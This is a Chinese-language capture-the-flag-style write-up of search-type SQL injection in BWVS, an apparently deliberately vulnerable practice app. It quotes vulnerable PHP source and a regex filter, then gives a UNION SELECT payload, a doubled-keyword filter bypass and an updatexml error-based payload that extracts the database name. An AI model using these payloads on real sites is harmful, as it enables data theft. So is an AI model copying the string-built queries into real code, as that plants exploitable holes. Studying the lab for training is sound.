BWVS-SQL搜索型注入

0x01 漏洞位置 /search.php

这次是真的是搜索型注入了。
BWVS-SQL搜索型注入_第1张图片
对了,这是我提前去留言了的,很神奇不显示留言信息,源码里面都有输出的。。
BWVS-SQL搜索型注入_第2张图片
源码里面发现,居然打错了大小写,算了,BWVS也被打成了DWVS,不影响还是能做的。
看下面一段waf代码。。。

if (!empty($_GET['search'])) {
        $content = $_GET['search'];
        $clear_content = search_waf($content);
        $sql = "SELECT * FROM dwvs_message WHERE dwvs_message LIKE '%".$clear_content."%'";
        //echo $sql;
        $data = mysqli_query($connect,$sql);
?>
function search_waf($search_name)
        {
                $search_name = preg_replace('/or/i', "", $search_name);
                $search_name = preg_replace('/and/i', "", $search_name);
                $search_name = preg_replace('/[#]/', "", $search_name);
                $search_name = preg_replace('/[--]/', "", $search_name);
                $search_name = preg_replace('/[\/\*]/', "", $search_name);
                $search_name = preg_replace('/[\/\\\\]/', "", $search_name);
                return $search_name;
        }

主要是看到过滤掉了注释,orand双写即可。
nimei' union select 1,2,3,4,'5
BWVS-SQL搜索型注入_第3张图片
就搞个数据库名算了。。
BWVS-SQL搜索型注入_第4张图片
这里才算是联合查询嘛,其实我到是觉得搜索型注入不太应该单独做一个分类。。。
另外这里无法用报错注入,因为没有mysql报错信息。


0x02 漏洞位置:/bug/sql_injection/sql_search.php

BWVS-SQL搜索型注入_第5张图片
直接看源码

p = new Func("GET","content");
$p -> con_html();
if (isset($_REQUEST['submit'])) {
        $content = empty($_REQUEST['content']) ? "is" : $_REQUEST['content'];
        $row = $p -> con_mysql("news","content",$content,"search");

 public function con_mysql($t_name, $c_name, $c_value, $sql_type){
         //mysql
         $conn = @mysql_connect(DB_HOST, DB_USER, DB_PASS) or die('bad!');
         mysql_query("SET NAMES utf-8");
         mysql_select_db(DB_NAME, $conn) OR emMsg("数据库连接失败");
         $sql_num = "SELECT * FROM {$t_name} WHERE {$c_name} = {$c_value}"; //num
         $sql_string = "SELECT * FROM {$t_name} WHERE {$c_name} = '{$c_value}'"; //string
         $sql_search = "SELECT * FROM {$t_name} WHERE {$c_name} like '%{$c_value}%'"; //search
         $sql_name = "sql_".$sql_type;
         $result = mysql_query($$sql_name, $conn) or die(mysql_error());
         $row = mysql_fetch_assoc($result);
         mysql_free_result($result);
         mysql_close($conn);
         return $row;
 }

没看到任何过滤,这个bug目录下的应该就是属于明显的漏洞系列的,由于有die(mysql_error)直接用报错注入1' and updatexml(1,concat(0x7e,database(),0x7e),1) #
BWVS-SQL搜索型注入_第6张图片

你可能感兴趣的:(#,BWVS)